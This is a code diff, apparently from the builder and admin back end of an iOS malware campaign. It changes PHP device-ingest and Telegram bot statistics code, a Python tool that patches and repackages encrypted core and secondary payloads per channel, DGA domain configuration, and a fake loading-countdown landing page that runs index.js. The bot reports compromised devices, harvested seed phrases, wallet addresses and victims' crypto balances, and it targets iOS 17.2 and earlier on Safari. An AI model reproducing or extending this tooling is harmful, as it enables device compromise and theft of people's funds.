}
$claimed = Device::query()
->where('channel_id', $code)
->whereIn('ip', $ipKeys)
->exists();
if ($claimed) {
continue;
}
$domain = $this->sourceDomainFromVisit($visit);
return ['channel_id' => $code, 'source_domain' => $domain];
}
return ['channel_id' => null, 'source_domain' => null];
}
private function sourceDomainFromVisit(PageVisit $visit): ?string
{
return PageVisit::normalizeDomain($visit->domain);
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
{
$ua = substr((string) $request->userAgent(), 0, 2000);
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$attrs = [
'device_id' => $deviceKey,
@@ -345,8 +316,12 @@ class IngestService
'channel_id' => $attr['channel_id'],
'source_domain' => $attr['source_domain'],
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
// xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
if (! $this->isNewBuilderRequest($request)) {
$ua = substr((string) $request->userAgent(), 0, 2000);
if ($ua !== '') {
$attrs['user_agent'] = $ua;
}
}
$device = Device::query()->create($attrs);
+74 -15
View File
@@ -26,25 +26,29 @@ class DataCommand
$days = $parts[0];
$channelId = $parts[1] ?? '';
} elseif (isset($parts[0])) {
if (preg_match('/^[0-9a-f]{32}$/i', $parts[0])) {
$channelId = $parts[0];
} else {
$parsed = $this->parseChannelId($parts[0]);
if ($parsed === null) {
$bot->sendMessage(
"Usage: /data [1|7|30] [channelId]\n"
."Omit days for today. Omit channelId for all channels."
."Omit days for today. Omit channelId for all channels.\n"
."channelId: 旧版 32 位 hex,或新版 X.Y.ZZ(如 0.0.01)"
);
return;
}
$channelId = $parsed;
}
if ($channelId !== '' && ! preg_match('/^[0-9a-f]{32}$/i', $channelId)) {
$bot->sendMessage('channelId must be a 32-char hex string.');
if ($channelId !== '') {
$parsed = $this->parseChannelId($channelId);
if ($parsed === null) {
$bot->sendMessage('channelId 无效(需 32 位 hex 或新版 X.Y.ZZ)');
return;
return;
}
$channelId = $parsed;
}
$channelId = strtolower($channelId);
$agent = $this->context->agent();
if ($agent !== null && $channelId !== '') {
@@ -74,35 +78,90 @@ class DataCommand
'agent' => $agent,
]);
$channelLabel = $this->channelLabel($channelId, $agent !== null);
$lines = [
'📊 访问统计',
'📊 仪表盘统计',
'区间: '.$data['from'].' ~ '.$data['to'],
'渠道: '.($channelId !== '' ? $channelId : ($agent ? '本代理全部' : '全部')),
'渠道: '.$channelLabel,
'',
'总设备: '.$data['total'],
'📦 设备与资产',
'总设备: '.$data['wallet_count'].' / '.$data['total'].' (有钱包/全部)',
'新增设备: '.$data['new_count'],
'活跃设备: '.$data['active_count'],
'助记词: '.$data['mnemonic_count'],
'钱包地址: '.$data['address_count'],
'',
'💰 总余额',
'• USDT '.$data['balances']['usdt'],
'• TRX '.$data['balances']['trx'],
'• BTC '.$data['balances']['btc'],
'• ETH '.$data['balances']['eth'],
'• BNB '.$data['balances']['bnb'],
'',
'🌐 页面访问',
'页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
'页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
'有效口径: iOS≤17.2 + Safari',
'',
'按系统:',
'访问 · 按系统 (UV / 占比):',
];
foreach ($data['by_os'] as $row) {
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
$lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
}
$lines[] = '';
$lines[] = '按 iOS 版本:';
$lines[] = '访问 · 按 iOS 版本 (UV / 占比):';
if ($data['by_ios_version'] === []) {
$lines[] = '• 暂无';
} else {
foreach ($data['by_ios_version'] as $row) {
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
$lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
}
}
$lines[] = '';
$lines[] = '受控设备 · 系统版本分布:';
if ($data['by_device_ios_version'] === []) {
$lines[] = '• 暂无';
} else {
foreach ($data['by_device_ios_version'] as $row) {
$lines[] = sprintf('• %s %d 台 %s%%', $row['label'], $row['count'], $row['pct']);
}
}
$bot->sendMessage(implode("\n", $lines));
}
/**
* Accept old 32-hex or new X.Y.ZZ channel ids.
*/
private function parseChannelId(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '') {
return '';
}
if (preg_match('/^[0-9a-f]{32}$/i', $raw)) {
return strtolower($raw);
}
return Channel::normalizeNewChannelId($raw);
}
private function channelLabel(string $channelId, bool $agentScoped): string
{
if ($channelId === '') {
return $agentScoped ? '本代理全部' : '全部';
}
$row = Channel::query()->where('channel_id', $channelId)->first(['channel_id', 'remark']);
if ($row === null) {
return $channelId;
}
$remark = trim((string) ($row->remark ?? ''));
return $remark !== '' ? $channelId.'/'.$remark : $channelId;
}
}
+4 -2
View File
@@ -23,11 +23,13 @@ class HelpCommand
' 健康检查',
'',
'/data [1|7|30] [channelId]',
' 查询访问统计(同仪表盘)',
' 查询仪表盘统计(设备/余额/访问/分布)',
' 天数默认当天;渠道默认全部',
' channelId: 旧版 32 hex 或新版 X.Y.ZZ',
' 例: /data',
' 例: /data 7',
' 例: /data 30 <channelId>',
' 例: /data 30 0.0.01',
' 例: /data 0.0.01',
'',
'/channel',
' 列出渠道:ID、备注、归属;点按钮复制链接',
+16 -25
View File
@@ -5,7 +5,8 @@ xxbb / weifile builder for coruna-lab. Separate from `channel-builder/`
`c` is a **shared DGA seed** (env `XXBB_CHANNEL_C`). After deploy, domains do
not change, so `c` cannot tell channels apart. Per-channel identity is the
8-char landing code (e.g. `FAFA9988`) packed into `index.js`.
**version-format** id (exactly 6 chars like `2.2.66` / `A.B.C1`, alnum + dots)
patched into core `ver` / `sdkv` / `jbsdk_version`.
## 1. Build once (shared artifacts)
@@ -28,44 +29,33 @@ php artisan xxbb:build --channel-c=<32-hex>
Writes:
- `{artifact-root}/details/` (default `../public/details`) — **published**
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public**
- `{artifact-root}/details/` (default `../public/details`) — **template published**
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged**
每个 `details/*.js` 对应哪个 App:见 [`source/details/README.md`](source/details/README.md)。
`index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**.
`CACACACA` is left in place for per-channel packing.
Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env` so
device ingest can recognize the shared native field.
Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env`.
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`.
## 2. Pack on channel create
Admin create (8-char id) runs `tools/pack_channel.py`:
Admin create (id like `A.B.C1`) runs:
1. Copy staged weifile
2. Replace `CACACACA` in `index.js` with the channel id
3. Zip to `public/channel-source-new/{CHANNELID}.zip`
1. `tools/build.py --channel-c $XXBB_CHANNEL_C --apply --force` (always; **no random**)
2. `tools/pack_channel.py` into `public/channel/{ver}/`
```bash
.venv/bin/python tools/pack_channel.py \
--channel-code FAFA9988 \
--zip-out ../public/channel-source-new/FAFA9988.zip
```
If staged weifile is missing: run step 1 first (`php artisan xxbb:build`).
Delete a new channel removes that zip only (shared `/details` stays).
`XXBB_CHANNEL_C` must be set in `.env`. Manual `php artisan xxbb:build` is optional
(ops / refresh shared `/details`); channel create already builds from env.
## Device attribution
- **Old channels:** payload `c` is the 32-hex `channel_id`
- **New channels:** payload `c` is the shared seed. On device create, match
`PageVisit` by IP in the last 30 minutes (`XXBB_VISIT_MATCH_MINUTES`). Use
that visit’s `channelCode` as `channel_id`, and store the landing domain on
`devices.source_domain`.
- **New channels:** payload `c` is the shared seed. Core routes (`/a`, `/u`,
`/event`) set `channel_id` from request header `ver` or `sdkv` when present
and valid (`X.Y.ZZ`). Other xxbb routes create the device without writing
`channel_id`. Stats use `t.js` → `/statistic/t` with id from the path
`/channel/{id}/...`.
| Flag | What it replaces | Where |
|------|------------------|--------|
@@ -73,3 +63,4 @@ Delete a new channel removes that zip only (shared `/details` stays).
| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) |
| `--channel-c` | Native report / DGA `c` | each secondary (1) + corepayload (6) |
| `--random-c` | Generate a new `--channel-c` | lab_seeds.json + domains |
| `--channel-ver` | Core `2.2.66` string | corepayload (pack only) |
@@ -0,0 +1,12 @@
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<title>weifile</title>
</head>
<body>
<script type="text/javascript" src="index.js"></script>
</body>
</html>
@@ -0,0 +1,143 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<title>加载中</title>
<style>
:root {
--bg: #0f1419;
--ring: #3d8bfd;
--ring-track: rgba(255, 255, 255, 0.12);
--text: #f3f6fa;
--muted: #9aa7b5;
}
* { box-sizing: border-box; }
html, body {
margin: 0;
min-height: 100%;
background: var(--bg);
color: var(--text);
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
}
body {
min-height: 100dvh;
display: flex;
align-items: center;
justify-content: center;
padding: 24px;
}
.stage {
width: min(100%, 320px);
text-align: center;
}
.ring-wrap {
position: relative;
width: 168px;
height: 168px;
margin: 0 auto 28px;
}
.ring {
width: 100%;
height: 100%;
transform: rotate(-90deg);
}
.ring-track {
fill: none;
stroke: var(--ring-track);
stroke-width: 8;
}
.ring-progress {
fill: none;
stroke: var(--ring);
stroke-width: 8;
stroke-linecap: round;
stroke-dasharray: 502.65;
stroke-dashoffset: 0;
transition: stroke-dashoffset 0.2s linear;
}
.countdown {
position: absolute;
inset: 0;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 4px;
}
.countdown-num {
font-size: 42px;
font-weight: 600;
letter-spacing: -0.02em;
line-height: 1;
font-variant-numeric: tabular-nums;
}
.countdown-unit {
font-size: 13px;
color: var(--muted);
}
.title {
margin: 0 0 8px;
font-size: 20px;
font-weight: 600;
}
.subtitle {
margin: 0;
font-size: 14px;
color: var(--muted);
line-height: 1.5;
}
@media (prefers-reduced-motion: reduce) {
.ring-progress { transition: none; }
}
</style>
</head>
<body>
<div class="stage" role="status" aria-live="polite">
<div class="ring-wrap">
<svg class="ring" viewBox="0 0 180 180" aria-hidden="true">
<circle class="ring-track" cx="90" cy="90" r="80"></circle>
<circle class="ring-progress" id="ring" cx="90" cy="90" r="80"></circle>
</svg>
<div class="countdown">
<span class="countdown-num" id="sec">15</span>
<span class="countdown-unit">秒</span>
</div>
</div>
<p class="title">加载中</p>
<p class="subtitle">请稍候,正在准备页面…</p>
</div>
<script type="text/javascript" src="index.js"></script>
<script>
(function () {
var TOTAL = 15;
var CIRC = 2 * Math.PI * 80;
var ring = document.getElementById('ring');
var secEl = document.getElementById('sec');
var left = TOTAL;
var started = Date.now();
ring.style.strokeDasharray = String(CIRC);
ring.style.strokeDashoffset = '0';
function tick() {
var elapsed = (Date.now() - started) / 1000;
left = Math.max(0, TOTAL - elapsed);
var shown = Math.ceil(left);
secEl.textContent = String(shown);
ring.style.strokeDashoffset = String(CIRC * (1 - left / TOTAL));
if (left > 0) {
requestAnimationFrame(tick);
} else {
secEl.textContent = '0';
ring.style.strokeDashoffset = String(CIRC);
}
}
requestAnimationFrame(tick);
})();
</script>
</body>
</html>
+4
View File
@@ -472,6 +472,10 @@ def default_state_root() -> Path:
return PROJECT_ROOT / "storage" / "app" / "channel-builder-new"
def default_artifact_root() -> Path:
return PROJECT_ROOT / "public"
def main() -> int:
parser = argparse.ArgumentParser(
description="Patch xxbb secondary + corepayload c; apply /details and staged weifile."
+282 -60
View File
@@ -1,123 +1,345 @@
#!/usr/bin/env python3
"""Pack a per-channel weifile zip from the already-built staged tree.
"""Pack a per-channel exclusive tree under public/channel/{ver}/.
Does not rebuild natives or details. Requires `tools/build.py --apply` first.
Requires `tools/build.py --apply` first (shared staged weifile + public/details).
1. Copy staged weifile (storage/app/channel-builder-new/out/weifile)
2. Replace CACACACA in index.js with the 8-char channel id
3. Zip as {artifact-root}/channel-source-new/{CHANNELID}.zip
1. Copy public/details + staged weifile
2. Patch corepayload `2.2.66` -> channel ver (same length)
3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig)
4. Rewrite show.html asset URLs to /channel/{ver}/details/...
5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes)
6. Strip iptj beacon from index.js; inject t.js into weifile.html
7. Write to {artifact-root}/channel/{ver}/
"""
from __future__ import annotations
import argparse
import hashlib
import json
import re
import shutil
import tempfile
from pathlib import Path
from zipfile import ZIP_DEFLATED, ZipFile
import build as xxbb_build
from _details_pack import extract_member, make_passworded_7z
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
RESULT_MARKER = xxbb_build.RESULT_MARKER
INDEX_CHANNEL_PLACEHOLDER = xxbb_build.INDEX_CHANNEL_PLACEHOLDER
WEIFILE_ROOT = xxbb_build.WEIFILE_ROOT
DETAILS_ROOT = xxbb_build.DETAILS_ROOT
LAB_SEEDS_NAME = xxbb_build.LAB_SEEDS_NAME
CORE_WIRE_NAME = xxbb_build.CORE_WIRE_NAME
CORE_MEMBER_NAME = xxbb_build.CORE_MEMBER_NAME
SHOW_WIRE_NAME = xxbb_build.SHOW_WIRE_NAME
SHOW_MEMBER_NAME = xxbb_build.SHOW_MEMBER_NAME
ORIGINAL_VER = "2.2.66"
SHOW_PATH_OLD = b"/details/show.html"
# equal length (18): /c/X.Y.ZZ/show.htm
SHOW_PATH_TMPL = "/c/{ver}/show.htm"
CHANNEL_VER_RE = re.compile(r"^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$")
IPTJ_TAIL_RE = re.compile(
r",function\(\)\{\[67,72,77,75,54,73,71,48,56,70,52,50,52,57,54,67,50,50\]"
r".*?\},2e3\)\}\(\);",
re.S,
)
def normalize_channel_ver(value: str) -> str:
ver = (value or "").strip().upper()
if not CHANNEL_VER_RE.fullmatch(ver):
raise SystemExit(
f"--channel-ver must match X.Y.ZZ (6 chars, alnum+dots) like {ORIGINAL_VER!r} (got {value!r})"
)
return ver
def staged_weifile_dir(state_root: Path) -> Path:
return state_root / "out" / WEIFILE_ROOT
def patch_channel_code(text: str, channel_code: str) -> str:
if INDEX_CHANNEL_PLACEHOLDER not in text:
def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
def patch_ver_in_bytes(data: bytes, ver: str, *, label: str) -> bytes:
old = ORIGINAL_VER.encode("ascii")
new = ver.encode("ascii")
if len(old) != len(new):
raise SystemExit(f"{label}: ver length mismatch {len(old)} vs {len(new)}")
count = data.count(old)
if count < 1:
raise SystemExit(f"{label}: missing {ORIGINAL_VER!r} to patch")
return data.replace(old, new)
def patch_show_path_in_bytes(data: bytes, ver: str, *, label: str) -> bytes:
"""Equal-length rewrite of netconfig path /details/show.html -> /c/{ver}/show.htm."""
new_path = SHOW_PATH_TMPL.format(ver=ver).encode("ascii")
if len(new_path) != len(SHOW_PATH_OLD):
raise SystemExit(f"{label}: show path length {len(new_path)} != {len(SHOW_PATH_OLD)}")
count = data.count(SHOW_PATH_OLD)
if count < 1:
raise SystemExit(f"{label}: missing {SHOW_PATH_OLD!r}")
return data.replace(SHOW_PATH_OLD, new_path)
def patch_corepayload_wire(wire: bytes, ver: str) -> tuple[bytes, dict]:
member, plain = extract_member(wire)
if member != CORE_MEMBER_NAME:
raise SystemExit(f"unexpected core member {member!r}")
patched = patch_ver_in_bytes(plain, ver, label=CORE_MEMBER_NAME)
show_hits = patched.count(SHOW_PATH_OLD)
patched = patch_show_path_in_bytes(patched, ver, label=CORE_MEMBER_NAME)
digest = sha256_hex(patched)
new_wire = make_passworded_7z(CORE_MEMBER_NAME, patched)
return new_wire, {
"sha256": digest,
"size": len(patched),
"ver_hits": patched.count(ver.encode()),
"show_path_hits": show_hits,
}
def rewrite_show_urls(config_bytes: bytes, *, ver: str, core_sha256: str, core_size: int) -> bytes:
doc = json.loads(config_bytes.decode("utf-8"))
if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict):
raise SystemExit("show data.bin: missing core object")
prefix = f"/channel/{ver}/details/"
def rewrite_url(url: str) -> str:
# http://host/details/foo.js -> http://host/channel/{ver}/details/foo.js
return re.sub(r"(/details/)", f"/channel/{ver}/details/", url, count=1)
core = doc["core"]
if isinstance(core.get("url"), str):
core["url"] = rewrite_url(core["url"])
core["sha256"] = core_sha256
core["size"] = core_size
for entry in doc.get("entries") or []:
if isinstance(entry, dict) and isinstance(entry.get("url"), str):
entry["url"] = rewrite_url(entry["url"])
_ = prefix # documented intent
return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
def patch_show_wire(wire: bytes, *, ver: str, core_sha256: str, core_size: int) -> bytes:
member, plain = extract_member(wire)
if member != SHOW_MEMBER_NAME:
raise SystemExit(f"unexpected show member {member!r}")
updated = rewrite_show_urls(plain, ver=ver, core_sha256=core_sha256, core_size=core_size)
return make_passworded_7z(SHOW_MEMBER_NAME, updated)
def patch_secondary_show_path(dylib: bytes, ver: str, *, label: str) -> bytes:
# One occurrence per secondary slice is enough; replace first only.
new_path = SHOW_PATH_TMPL.format(ver=ver).encode("ascii")
if len(new_path) != len(SHOW_PATH_OLD):
raise SystemExit(f"{label}: show path length {len(new_path)} != {len(SHOW_PATH_OLD)}")
if SHOW_PATH_OLD not in dylib:
raise SystemExit(f"{label}: missing {SHOW_PATH_OLD!r}")
return dylib.replace(SHOW_PATH_OLD, new_path, 1)
def patch_weifile_secondaries(weifile_dir: Path, ver: str) -> int:
keys = xxbb_build.load_keys()
patched = 0
for stem, info in keys["stems"].items():
# build.py stages patched secondaries as {stem}.min.js
path = weifile_dir / f"{stem}.min.js"
if not path.is_file():
path = weifile_dir / f"{stem}.js"
if not path.is_file():
continue
key = bytes.fromhex(info["key"])
try:
dylib = decrypt_secondary_minjs(path.read_bytes(), key)
except Exception as exc:
raise SystemExit(f"{path.name}: decrypt failed: {exc}") from exc
if SHOW_PATH_OLD not in dylib:
continue
dylib = patch_secondary_show_path(dylib, ver, label=stem)
path.write_bytes(encrypt_secondary_minjs(dylib, key))
patched += 1
if patched < 1:
raise SystemExit(
f"index.js: missing {INDEX_CHANNEL_PLACEHOLDER} placeholder; "
"re-run tools/build.py --apply"
"no secondary packs contained /details/show.html "
f"(looked under {weifile_dir} for *.min.js)"
)
return text.replace(INDEX_CHANNEL_PLACEHOLDER, channel_code, 1)
return patched
def write_zip(weifile_dir: Path, zip_path: Path) -> Path:
zip_path.parent.mkdir(parents=True, exist_ok=True)
if zip_path.exists():
zip_path.unlink()
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
with ZipFile(zip_path, "w", compression=ZIP_DEFLATED) as archive:
for path in sorted(weifile_dir.rglob("*")):
if not path.is_file():
continue
if path.name in skip or path.suffix == ".pyc":
continue
if any(part in skip for part in path.relative_to(weifile_dir).parts):
continue
rel = Path(WEIFILE_ROOT) / path.relative_to(weifile_dir)
archive.write(path, rel.as_posix())
return zip_path
def strip_iptj_beacon(index_js: str) -> str:
if not IPTJ_TAIL_RE.search(index_js):
# already stripped or unexpected layout — allow missing during rebuilds
if "channelCode" in index_js or "__iptj_sid" in index_js:
raise SystemExit("index.js: iptj beacon present but pattern mismatch")
return index_js
return IPTJ_TAIL_RE.sub(";", index_js, count=1)
def inject_tjs(weifile_html: str) -> str:
if "t.js" in weifile_html:
return weifile_html
snippet = '<script src="/t.js" defer></script>\n'
if "</head>" in weifile_html:
return weifile_html.replace("</head>", snippet + "</head>", 1)
return snippet + weifile_html
LANDING_TEMPLATES = ("test", "blank")
DEFAULT_LANDING_TEMPLATE = "test"
LANDING_TEMPLATE_ROOT = xxbb_build.BUILDER_ROOT / "source" / "weifile" / "templates"
def normalize_landing_template(value: str | None) -> str:
template = (value or DEFAULT_LANDING_TEMPLATE).strip().lower()
if template not in LANDING_TEMPLATES:
raise SystemExit(
f"--landing-template must be one of: {', '.join(LANDING_TEMPLATES)} (got {value!r})"
)
return template
def apply_landing_template(weifile_dir: Path, template: str) -> Path:
template = normalize_landing_template(template)
src = LANDING_TEMPLATE_ROOT / f"{template}.html"
if not src.is_file():
raise SystemExit(f"missing landing template: {src}")
dest = weifile_dir / "weifile.html"
dest.write_text(inject_tjs(src.read_text(encoding="utf-8")), encoding="utf-8")
return dest
def copy_details_tree(src: Path, dest: Path) -> None:
if dest.exists():
shutil.rmtree(dest)
skip = {"_bak", "__pycache__", ".DS_Store", "README.md"}
shutil.copytree(
src,
dest,
symlinks=False,
ignore=lambda _d, names: {n for n in names if n in skip or n.endswith(".pyc")},
)
def pack_channel(
*,
channel_code: str,
channel_ver: str,
weifile_src: Path,
zip_out: Path,
details_src: Path,
channel_out: Path,
landing_template: str = DEFAULT_LANDING_TEMPLATE,
) -> dict:
code = xxbb_build.normalize_channel_code(channel_code)
index_src = weifile_src / "index.js"
if not index_src.is_file():
raise SystemExit(
f"staged weifile missing ({index_src}). "
"Run: python tools/build.py --apply"
)
ver = normalize_channel_ver(channel_ver)
landing_template = normalize_landing_template(landing_template)
if not (weifile_src / "index.js").is_file():
raise SystemExit(f"staged weifile missing ({weifile_src / 'index.js'}). Run build.py --apply")
if not (details_src / CORE_WIRE_NAME).is_file():
raise SystemExit(f"details missing ({details_src / CORE_WIRE_NAME}). Run build.py --apply")
with tempfile.TemporaryDirectory() as tmp:
dest = Path(tmp) / WEIFILE_ROOT
xxbb_build.copy_tree(weifile_src, dest)
index_path = dest / "index.js"
root = Path(tmp) / "channel"
details_dest = root / DETAILS_ROOT
weifile_dest = root / WEIFILE_ROOT
copy_details_tree(details_src, details_dest)
xxbb_build.copy_tree(weifile_src, weifile_dest)
# Drop template sources from the published tree if build copied them.
templates_dir = weifile_dest / "templates"
if templates_dir.is_dir():
shutil.rmtree(templates_dir)
core_meta: dict
core_path = details_dest / CORE_WIRE_NAME
core_wire, core_meta = patch_corepayload_wire(core_path.read_bytes(), ver)
core_path.write_bytes(core_wire)
show_path = details_dest / SHOW_WIRE_NAME
show_path.write_bytes(
patch_show_wire(
show_path.read_bytes(),
ver=ver,
core_sha256=core_meta["sha256"],
core_size=core_meta["size"],
)
)
secondary_hits = patch_weifile_secondaries(weifile_dest, ver)
index_path = weifile_dest / "index.js"
index_path.write_text(
patch_channel_code(index_path.read_text(encoding="utf-8"), code),
strip_iptj_beacon(index_path.read_text(encoding="utf-8")),
encoding="utf-8",
)
write_zip(dest, zip_out)
apply_landing_template(weifile_dest, landing_template)
if channel_out.exists():
shutil.rmtree(channel_out)
channel_out.parent.mkdir(parents=True, exist_ok=True)
shutil.copytree(root, channel_out)
return {
"campaign": "xxbb",
"builder_type": "new",
"channel_code": code,
"zip_path": str(zip_out),
"weifile_src": str(weifile_src),
"channel_ver": ver,
"channel_id": ver,
"channel_dir": str(channel_out),
"landing_path": f"/channel/{ver}/weifile/weifile.html",
"landing_template": landing_template,
"details_path": f"/channel/{ver}/details/",
"show_alias": SHOW_PATH_TMPL.format(ver=ver),
"core_sha256": core_meta["sha256"],
"core_ver_hits": core_meta["ver_hits"],
"core_show_path_hits": core_meta["show_path_hits"],
"secondary_show_patches": secondary_hits,
}
def main() -> int:
parser = argparse.ArgumentParser(
description="Pack staged weifile into public/channel-source-new/{CHANNELID}.zip"
description=f"Pack exclusive channel tree into public/channel/{{ver}}/ (ver like {ORIGINAL_VER})"
)
parser.add_argument("--channel-code", required=True, help="8-char channel id (e.g. FAFA9988)")
parser.add_argument(
"--state-root",
"--channel-ver",
required=True,
help="channel id / ver patch string, X.Y.ZZ alnum (e.g. 2.2.66 or A.B.C1)",
)
parser.add_argument("--state-root", type=Path, default=None)
parser.add_argument("--weifile-src", type=Path, default=None)
parser.add_argument(
"--details-src",
type=Path,
default=None,
help=f"builder state (default: {xxbb_build.default_state_root()})",
help="built details dir (default: <artifact-root>/details)",
)
parser.add_argument(
"--weifile-src",
type=Path,
default=None,
help="staged weifile directory (default: <state-root>/out/weifile)",
)
parser.add_argument(
"--zip-out",
"--channel-out",
type=Path,
required=True,
help="output zip path",
help="output directory e.g. public/channel/A.B.C1",
)
parser.add_argument(
"--landing-template",
default=DEFAULT_LANDING_TEMPLATE,
choices=LANDING_TEMPLATES,
help="weifile.html template: test=loading countdown, blank=empty (default: test)",
)
args = parser.parse_args()
state_root = (args.state_root or xxbb_build.default_state_root()).resolve()
artifact_root = xxbb_build.default_artifact_root().resolve()
weifile_src = (args.weifile_src or staged_weifile_dir(state_root)).resolve()
zip_out = args.zip_out.resolve()
details_src = (args.details_src or (artifact_root / DETAILS_ROOT)).resolve()
channel_out = args.channel_out.resolve()
result = pack_channel(channel_code=args.channel_code, weifile_src=weifile_src, zip_out=zip_out)
result = pack_channel(
channel_ver=args.channel_ver,
weifile_src=weifile_src,
details_src=details_src,
channel_out=channel_out,
landing_template=args.landing_template,
)
seeds_path = state_root / LAB_SEEDS_NAME
if seeds_path.is_file():
try:
@@ -132,7 +354,7 @@ def main() -> int:
except json.JSONDecodeError:
pass
print(f"packed {result['channel_code']} -> {zip_out}")
print(f"packed {result['channel_ver']} -> {channel_out}")
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
return 0
+15 -34
View File
@@ -283,42 +283,23 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(len(second[2]), 32)
self.assertEqual(second[3]["deployment"][0], generate_domains(second[2], 1)[0])
def test_pack_replaces_channel_placeholder(self) -> None:
def test_pack_channel_ver_helpers(self) -> None:
import pack_channel
from zipfile import ZipFile
with tempfile.TemporaryDirectory() as tmp:
src = Path(tmp) / "weifile"
src.mkdir()
(src / "index.js").write_text(
'const V="CACACACA";const N="https://syv4c2c8nb8fpzo.icu/api";',
encoding="utf-8",
)
(src / "weifile.html").write_text(
'<script type="text/javascript" src="index.js"></script>',
encoding="utf-8",
)
(src / "extra.min.js").write_text("ok", encoding="utf-8")
zip_out = Path(tmp) / "channel-source-new" / "FAFA9988.zip"
result = pack_channel.pack_channel(
channel_code="fafa9988",
weifile_src=src,
zip_out=zip_out,
)
self.assertEqual(result["channel_code"], "FAFA9988")
self.assertTrue(zip_out.is_file())
self.assertIn("CACACACA", (src / "index.js").read_text(encoding="utf-8"))
with ZipFile(zip_out) as archive:
names = set(archive.namelist())
self.assertIn("weifile/index.js", names)
self.assertIn("weifile/weifile.html", names)
self.assertIn("weifile/extra.min.js", names)
index_js = archive.read("weifile/index.js").decode("utf-8")
html = archive.read("weifile/weifile.html").decode("utf-8")
self.assertIn('const V="FAFA9988"', index_js)
self.assertNotIn("CACACACA", index_js)
self.assertNotIn("__CHANNEL_C__", html)
self.assertNotIn("/t.js", html)
self.assertEqual(pack_channel.normalize_channel_ver("3.1.07"), "3.1.07")
self.assertEqual(pack_channel.normalize_channel_ver("a.b.c1"), "A.B.C1")
with self.assertRaises(SystemExit):
pack_channel.normalize_channel_ver("FAFA9988")
path = pack_channel.SHOW_PATH_TMPL.format(ver="A.B.C1").encode()
self.assertEqual(len(path), len(pack_channel.SHOW_PATH_OLD))
stripped = pack_channel.strip_iptj_beacon(
'head,function(){[67,72,77,75,54,73,71,48,56,70,52,50,52,57,54,67,50,50]'
'whatever,__iptj_sid,channelCode},2e3)}();'
)
self.assertEqual(stripped, "head;")
html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
self.assertIn('/t.js', html)
if __name__ == "__main__":
-4
View File
@@ -18,8 +18,6 @@ return [
'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'),
// Shared native DGA / report field `c`. Same for every new-builder channel.
'channel_c' => strtolower(trim((string) env('XXBB_CHANNEL_C', ''))),
// Match iptj PageVisit → device by IP within this window.
'visit_match_minutes' => (int) env('XXBB_VISIT_MATCH_MINUTES', 30),
],
'channel_domains' => $channelDomains,
'deployment_domains' => $channelDomains,
@@ -50,8 +48,6 @@ return [
'CORUNA_CHANNEL_NEW_STATE_ROOT',
storage_path('app/channel-builder-new')
),
// Per-channel weifile zip download root under artifact_root.
'source_dir' => 'channel-source-new',
],
'channels' => [
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
+10 -2
View File
@@ -2,8 +2,16 @@
try {
var m = location.pathname.match(/\/web\/([0-9a-f]{32})\//i);
var channelId = m ? m[1].toLowerCase() : '';
if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string' && /^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) {
channelId = window.__CORUNA_CHANNEL__.toLowerCase();
if (!channelId) {
m = location.pathname.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
channelId = m ? m[1].toUpperCase() : '';
}
if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string') {
if (/^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) {
channelId = window.__CORUNA_CHANNEL__.toLowerCase();
} else if (/^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$/.test(window.__CORUNA_CHANNEL__)) {
channelId = window.__CORUNA_CHANNEL__.toUpperCase();
}
}
if (!channelId) return;
var KEY = 'c_uid';
@@ -27,32 +27,14 @@
<div class="layui-card">
